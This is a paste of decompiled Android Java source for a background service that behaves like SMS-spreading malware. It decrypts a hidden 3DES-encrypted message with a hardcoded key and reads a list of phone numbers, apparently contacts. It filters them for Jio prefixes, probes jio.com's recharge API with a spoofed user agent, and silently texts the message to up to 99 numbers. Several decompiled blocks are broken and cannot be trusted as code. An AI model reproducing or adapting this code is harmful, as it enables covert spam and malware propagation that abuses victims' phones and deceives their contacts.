· 5 years ago · Mar 09, 2020, 06:30 AM
1
21 /*
32 * Decompiled with CFR 0.0.
43 *
54 * Could not load the following classes:
65 * android.app.Notification
76 * android.app.NotificationChannel
87 * android.app.NotificationManager
98 * android.app.PendingIntent
109 * android.app.Service
1110 * android.content.Context
1211 * android.content.Intent
1312 * android.os.Build
1413 * android.os.Build$VERSION
1514 * android.os.HandlerThread
1615 * android.os.IBinder
1716 * android.support.v4.a.a
1817 * android.support.v4.app.u
1918 * android.support.v4.app.u$b
2019 * android.support.v4.app.v
2120 * android.telephony.SmsManager
2221 * android.telephony.SubscriptionInfo
2322 * android.telephony.SubscriptionManager
2423 * android.telephony.TelephonyManager
2524 * android.util.Log
2625 * java.io.BufferedOutputStream
2726 * java.io.BufferedReader
2827 * java.io.InputStream
2928 * java.io.InputStreamReader
3029 * java.io.OutputStream
3130 * java.io.Reader
3231 * java.lang.AssertionError
3332 * java.lang.CharSequence
3433 * java.lang.Class
3534 * java.lang.Exception
3635 * java.lang.Integer
3736 * java.lang.Object
3837 * java.lang.Runnable
3938 * java.lang.String
4039 * java.lang.StringBuilder
4140 * java.lang.Thread
4241 * java.lang.reflect.Method
4342 * java.net.URL
4443 * java.net.URLConnection
4544 * java.security.Key
4645 * java.security.SecureRandom
4746 * java.security.spec.KeySpec
4847 * java.util.ArrayList
4948 * java.util.List
5049 * java.util.Random
5150 * javax.crypto.Cipher
5251 * javax.crypto.SecretKey
5352 * javax.crypto.SecretKeyFactory
5453 * javax.crypto.spec.DESedeKeySpec
5554 * javax.net.ssl.HttpsURLConnection
5655 * javax.net.ssl.KeyManager
5756 * javax.net.ssl.SSLContext
5857 * javax.net.ssl.SSLSocketFactory
5958 * javax.net.ssl.TrustManager
6059 */
6160 package com.benstokes.pathakschook;
6261
6362 import android.app.Notification;
6463 import android.app.NotificationChannel;
6564 import android.app.NotificationManager;
6665 import android.app.PendingIntent;
6766 import android.app.Service;
6867 import android.content.Context;
6968 import android.content.Intent;
7069 import android.os.Build;
7170 import android.os.HandlerThread;
7271 import android.os.IBinder;
7372 import android.support.v4.a.a;
7473 import android.support.v4.app.u;
7574 import android.support.v4.app.v;
7675 import android.telephony.SmsManager;
7776 import android.telephony.SubscriptionInfo;
7877 import android.telephony.SubscriptionManager;
7978 import android.telephony.TelephonyManager;
8079 import android.util.Log;
8180 import com.benstokes.pathakschook.Act;
8281 import java.io.BufferedOutputStream;
8382 import java.io.BufferedReader;
8483 import java.io.InputStream;
8584 import java.io.InputStreamReader;
8685 import java.io.OutputStream;
8786 import java.io.Reader;
8887 import java.lang.reflect.Method;
8988 import java.net.URL;
9089 import java.net.URLConnection;
9190 import java.security.Key;
9291 import java.security.SecureRandom;
9392 import java.security.spec.KeySpec;
9493 import java.util.ArrayList;
9594 import java.util.List;
9695 import java.util.Random;
9796 import javax.crypto.Cipher;
9897 import javax.crypto.SecretKey;
9998 import javax.crypto.SecretKeyFactory;
10099 import javax.crypto.spec.DESedeKeySpec;
101100 import javax.net.ssl.HttpsURLConnection;
102101 import javax.net.ssl.KeyManager;
103102 import javax.net.ssl.SSLContext;
104103 import javax.net.ssl.SSLSocketFactory;
105104 import javax.net.ssl.TrustManager;
106105
107106 public class Act
108107 extends Service {
109108 static final /* synthetic */ boolean f;
110109 boolean a = false;
111110 String b;
112111 byte[] c = this.j.getBytes("UTF8");
113112 SecretKey d = this.h.generateSecret(this.g);
114113 String e = "aSISKSbhFLZVjpFx01e+lsatZp+b4RiSBGc8+KOdwqiKboUxrfrtMaICLtTIXZcMkwmtc2xF3KJcKK3MYndQ+6h0DryNJlU4V/cd3UBxI1Cpxv70QF7J2oakElDlAw9z89S6KsfIxYcoFDCp6OuQdHtdS9NK+1wPRtQvITIaJADCMuBhOzUzRKSHX2j22yZcBzYSF7sm9XXXnX7uayIyjA==";
115114 private KeySpec g = new DESedeKeySpec(this.c);
116115 private SecretKeyFactory h = SecretKeyFactory.getInstance((String)this.k);
117116 private Cipher i = Cipher.getInstance((String)this.k);
118117 private String j = "ThisIsSpartaThisIsSparta";
119118 private String k = "DESede";
120119
121120 static {
122121 f = true ^ Act.class.desiredAssertionStatus();
123122 }
124123
125124 public Act() throws Exception {
126125 Log.d((String)"INFOS", (String)this.b(this.e));
127126 }
128127
129128 static /* synthetic */ void a(Act act) {
130129 NotificationChannel notificationChannel = new NotificationChannel("cards", (CharSequence)"OFFERS", 0);
131130 notificationChannel.setLightColor(-16776961);
132131 notificationChannel.setLockscreenVisibility(0);
133132 NotificationManager notificationManager = (NotificationManager)act.getSystemService("notification");
134133 if (!f && notificationManager == null) {
135134 throw new AssertionError();
136135 }
137136 notificationManager.createNotificationChannel(notificationChannel);
138137 u.b b2 = new u.b((Context)act, "cards");
139138 Notification notification = b2.N;
140139 notification.flags = 2 | notification.flags;
141140 String string = "Run";
142141 if (string.length() > 5120) {
143142 string = string.subSequence(0, 5120);
144143 }
145144 b2.d = string;
146145 b2.l = 0;
147146 b2.A = "service";
148147 act.startForeground(2, new v(b2).a());
149148 }
150149
151150 public static boolean c(String string) {
152151 String[] arrstring = new String[]{"7000", "7001", "7002", "7003", "7004", "7005", "7006", "7007", "7008", "7009", "7010", "7011", "7012", "7013", "7014", "7015", "7016", "7017", "7018", "7019", "7020", "7021", "6001", "6002", "6002", "6003", "6003", "6001"};
153152 for (int i2 = 0; i2 < 28; ++i2) {
154153 String string2 = string.toString();
155154 StringBuilder stringBuilder = new StringBuilder("91");
156155 stringBuilder.append(arrstring[i2]);
157156 if (!string2.startsWith(stringBuilder.toString())) continue;
158157 return true;
159158 }
160159 return false;
161160 }
162161
163162 /*
164163 * Enabled aggressive block sorting
165164 * Enabled unnecessary exception pruning
166165 * Enabled aggressive exception aggregation
167166 */
168167 public static boolean d(String string) {
169168 try {
170169 String string2;
171170 HttpsURLConnection httpsURLConnection = (HttpsURLConnection)new URL("https://www.jio.com/api/jio-recharge-service/recharge/submitNumber").openConnection();
172171 SSLContext sSLContext = SSLContext.getInstance((String)"TLS");
173172 sSLContext.init(null, null, new SecureRandom());
174173 httpsURLConnection.setSSLSocketFactory(sSLContext.getSocketFactory());
175174 StringBuilder stringBuilder = new StringBuilder("{\"serviceId\":\"");
176175 stringBuilder.append(string);
177176 stringBuilder.append("\",\"partyId\":null,\"source\":null,\"ptab\":null,\"token\":null,\"msg\":null,\"serviceType\":\"MOBILITY\",\"erefId\":null}");
178177 String string3 = stringBuilder.toString();
179178 httpsURLConnection.setRequestProperty("Host", "www.jio.com");
180179 httpsURLConnection.setRequestProperty("Origin", "https://www.jio.com");
181180 httpsURLConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1");
182181 httpsURLConnection.setRequestProperty("Accept", "application/json, text/javascript, */*; q=0.01");
183182 httpsURLConnection.setRequestProperty("Accept-Language", "en");
184183 httpsURLConnection.setRequestProperty("Referer", "https://www.jio.com/JioApp/index.html?root=primeRecharge/");
185184 httpsURLConnection.setRequestProperty("Content-Type", "application/json");
186185 StringBuilder stringBuilder2 = new StringBuilder();
187186 stringBuilder2.append(string3.length());
188187 httpsURLConnection.setRequestProperty("Content-Length", stringBuilder2.toString());
189188 httpsURLConnection.setRequestProperty("DNT", "1");
190189 httpsURLConnection.setRequestProperty("Connection", "keep-alive");
191190 httpsURLConnection.setRequestProperty("Pragma", "no-cache");
192191 httpsURLConnection.setRequestProperty("Cache-Control", "no-cache");
193192 httpsURLConnection.setReadTimeout(7000);
194193 httpsURLConnection.setConnectTimeout(8000);
195194 httpsURLConnection.setRequestMethod("POST");
196195 httpsURLConnection.connect();
197196 BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(httpsURLConnection.getOutputStream());
198197 bufferedOutputStream.write(string3.getBytes());
199198 bufferedOutputStream.flush();
200199 String string4 = new String();
201200 int n2 = httpsURLConnection.getResponseCode();
202201 InputStream inputStream = n2 >= 200 && n2 < 400 ? httpsURLConnection.getInputStream() : httpsURLConnection.getErrorStream();
203202 BufferedReader bufferedReader = new BufferedReader((Reader)new InputStreamReader(inputStream));
204203 while ((string2 = bufferedReader.readLine()) != null) {
205204 StringBuilder stringBuilder3 = new StringBuilder();
206205 stringBuilder3.append(string4);
207206 stringBuilder3.append(string2);
208207 string4 = stringBuilder3.toString();
209208 }
210209 Log.d((String)"INFOS", (String)"res-----".concat(String.valueOf((Object)string4)));
211210 if (string4.contains((CharSequence)"NOT_SUBSCRIBED_USER")) {
212211 StringBuilder stringBuilder4 = new StringBuilder();
213212 stringBuilder4.append(string);
214213 stringBuilder4.append(" is not JIO");
215214 Log.d((String)"INFOS", (String)stringBuilder4.toString());
216215 return false;
217216 }
218217 if (string4.contains((CharSequence)string)) {
219218 StringBuilder stringBuilder5 = new StringBuilder();
220219 stringBuilder5.append(string);
221220 stringBuilder5.append(" is JIO");
222221 Log.d((String)"INFOS", (String)stringBuilder5.toString());
223222 return false;
224223 }
225224 StringBuilder stringBuilder6 = new StringBuilder();
226225 stringBuilder6.append(string);
227226 stringBuilder6.append(" is not from not web JIO");
228227 Log.d((String)"INFOS", (String)stringBuilder6.toString());
229228 return false;
230229 }
231230 catch (Exception exception) {
232231 exception.printStackTrace();
233232 return false;
234233 }
235234 }
236235
237236 /*
238237 * Enabled aggressive exception aggregation
239238 */
240239 public final String a() {
241240 ArrayList arrayList;
242241 block6 : {
243242 arrayList = new ArrayList();
244243 if (Build.VERSION.SDK_INT < 22 || a.a((Context)this, (String)"android.permission.READ_PHONE_STATE") != 0) break block6;
245244 List list = SubscriptionManager.from((Context)this).getActiveSubscriptionInfoList();
246245 for (int i2 = 0; i2 < list.size(); ++i2) {
247246 StringBuilder stringBuilder = new StringBuilder();
248247 stringBuilder.append(((SubscriptionInfo)list.get(i2)).getSimSlotIndex());
249248 stringBuilder.append(((SubscriptionInfo)list.get(i2)).getCarrierName().toString());
250249 arrayList.add((Object)stringBuilder.toString());
251250 }
252251 {
253252 continue;
254253 break;
255254 }
256255 }
257256 try {
258257 arrayList.add((Object)((TelephonyManager)this.getSystemService("phone")).getNetworkOperatorName());
259258 }
260259 catch (Exception exception) {
261260 exception.printStackTrace();
262261 }
263262 for (String string : arrayList) {
264263 if (!string.toUpperCase().contains((CharSequence)"JIO")) continue;
265264 if (string.contains((CharSequence)"0")) {
266265 return "0";
267266 }
268267 if (!string.contains((CharSequence)"1")) continue;
269268 return "1";
270269 }
271270 return "default";
272271 }
273272
274273 public final void a(final String string) {
275274 new Thread(new Runnable(){
276275
277276 /*
278277 * Loose catch block
279278 * Enabled aggressive block sorting
280279 * Enabled unnecessary exception pruning
281280 * Enabled aggressive exception aggregation
282281 * Lifted jumps to return sites
283282 */
284283 public final void run() {
285284 int n2 = 10 + new Random().nextInt(591);
286285 StringBuilder stringBuilder = new StringBuilder("SENDIG mSG to in ");
287286 stringBuilder.append(n2);
288287 stringBuilder.append(" time :");
289288 stringBuilder.append(string);
290289 Log.d((String)"----------------", (String)stringBuilder.toString());
291290 Thread.sleep((long)n2);
292291 Act act = Act.this;
293292 String string4 = string;
294293 String string2 = Act.this.b;
295294 {
296295 catch (Exception exception) {
297296 exception.printStackTrace();
298297 return;
299298 }
300299 }
301300 try {
302301 String string3 = act.b(act.e);
303302 if (string2.contains((CharSequence)"default")) {
304303 SmsManager.getDefault().sendTextMessage(string4, null, string3, null, null);
305304 return;
306305 }
307306 Class class_ = Class.forName((String)"android.telephony.SubscriptionManager");
308307 Class[] arrclass = new Class[]{Integer.TYPE};
309308 Method method = class_.getDeclaredMethod("getSubId", arrclass);
310309 method.setAccessible(true);
311310 int n3 = Integer.parseInt((String)string2);
312311 Object[] arrobject = new Object[]{n3};
313312 SmsManager.getSmsManagerForSubscriptionId((int)((int[])method.invoke(null, arrobject))[0]).sendTextMessage(string4, null, string3, null, null);
314313 return;
315314 }
316315 catch (Exception exception) {
317316 exception.printStackTrace();
318317 return;
319318 }
320319 }
321320 }).start();
322321 }
323322
324323 public final String b(String string) {
325324 try {
326325 this.i.init(2, (Key)this.d);
327326 byte[] arrby = org.a.a.a.a.a.a(string);
328327 String string2 = new String(this.i.doFinal(arrby));
329328 return string2;
330329 }
331330 catch (Exception exception) {
332331 exception.printStackTrace();
333332 return null;
334333 }
335334 }
336335
337336 public IBinder onBind(Intent intent) {
338337 return null;
339338 }
340339
341340 public void onCreate() {
342341 new HandlerThread("ServiceStartArguments", 10).start();
343342 super.onCreate();
344343 new Thread(new Runnable(this){
345344 final /* synthetic */ Act a;
346345 {
347346 this.a = act;
348347 }
349348
350349 /*
351350 * Unable to fully structure code
352351 * Enabled force condition propagation
353352 * Lifted jumps to return sites
354353 */
355354 public final void run() {
356355 block17 : {
357356 block16 : {
358357 block19 : {
359358 var2_1 = Build.VERSION.SDK_INT;
360359 var3_2 = 1;
361360 if (var2_1 <= 26) ** GOTO lbl8
362361 Act.a(this.a);
363362 break block19;
364363 lbl8: // 1 sources:
365364 this.a.startForeground(var3_2, new Notification());
366365 }
367366 Log.d((String)"sad", (String)"asd");
368367 this.a.b = this.a.a();
369368 var5_3 = new com.benstokes.pathakschook.b((Context)this.a.getApplicationContext()).b;
370369 var6_4 = new java.util.HashSet();
371370 java.util.Collections.addAll((java.util.Collection)var6_4, (Object[])var5_3);
372371 var8_5 = (String[])var6_4.toArray((Object[])new String[var6_4.size()]);
373372 var9_6 = new String[10000];
374373 var10_7 = new String[200];
375374 var11_8 = 0;
376375 var12_9 = 0;
377376 var13_10 = 0;
378377 lbl21: // 2 sources:
379378 do {
380379 block13 : {
381380 block15 : {
382381 block14 : {
383382 if (var11_8 >= var8_5.length) break block13;
384383 if (var8_5[var11_8] == null || !Act.c(var8_5[var11_8])) break block14;
385384 var10_7[var12_9] = var8_5[var11_8];
386385 ++var12_9;
387386 break block15;
388387 }
389388 if (var8_5[var11_8] == null) break block15;
390389 var9_6[var13_10] = var8_5[var11_8];
391390 ++var13_10;
392391 }
393392 if (var12_9 != 99) break block16;
394393 }
395394 new Thread(new Runnable(this, var10_7){
396395 final /* synthetic */ String[] a;
397396 final /* synthetic */ 1 b;
398397 {
399398 this.b = var1_1;
400399 this.a = arrstring;
401400 }
402401
403402 public final void run() {
404403 String[] arrstring;
405404 for (int i2 = 0; i2 < (arrstring = this.a).length; ++i2) {
406405 if (arrstring[i2] == null) continue;
407406 try {
408407 Thread.sleep((long)2000L);
409408 this.b.a.a(this.a[i2]);
410409 continue;
411410 }
412411 catch (java.lang.InterruptedException interruptedException) {
413412 interruptedException.printStackTrace();
414413 }
415414 }
416415 }
417416 }).start();
418417 Log.d((String)"local found jio : ", (String)String.valueOf((int)var12_9));
419418 var15_11 = new String[10000];
420419 var16_12 = 0;
421420 var17_13 = 0;
422421 break block17;
423422 break;
424423 } while (true);
425424 do {
426425 if (var9_6[var16_12] != null && var9_6[var16_12].toString().length() > 10) {
427426 Act.d(var9_6[var16_12].toString().substring(2));
428427 }
429428 var15_11[var17_13] = var9_6[var16_12];
430429 ++var17_13;
431430 ++var16_12;
432431 break block17;
433432 break;
434433 } while (true);
435434 lbl51: // 1 sources:
436435 do {
437436 block18 : {
438437 if (var19_15 >= 10000) return;
439438 if (var18_14 == 99) return;
440439 try {
441440 if (var9_6[var19_15] == null || var9_6[var19_15].toString().length() <= 10) break block18;
442441 this.a.a(var10_7[var12_9]);
443442 }
444443 catch (Exception var1_16) {
445444 var1_16.printStackTrace();
446445 return;
447446 }
448447 ++var18_14;
449448 }
450449 ++var19_15;
451450 continue;
452451 break;
453452 } while (true);
454453 }
455454 ++var11_8;
456455 ** while (true)
457456 }
458457 if (var16_12 < 10000) {
459458 if (var12_9 != 99) ** continue;
460459 return;
461460 }
462461 if (var3_2 == 0) return;
463462 var18_14 = var12_9;
464463 var19_15 = 0;
465464 ** while (true)
466465 }
467466 }).start();
468467 }
469468
470469 }
471470
472471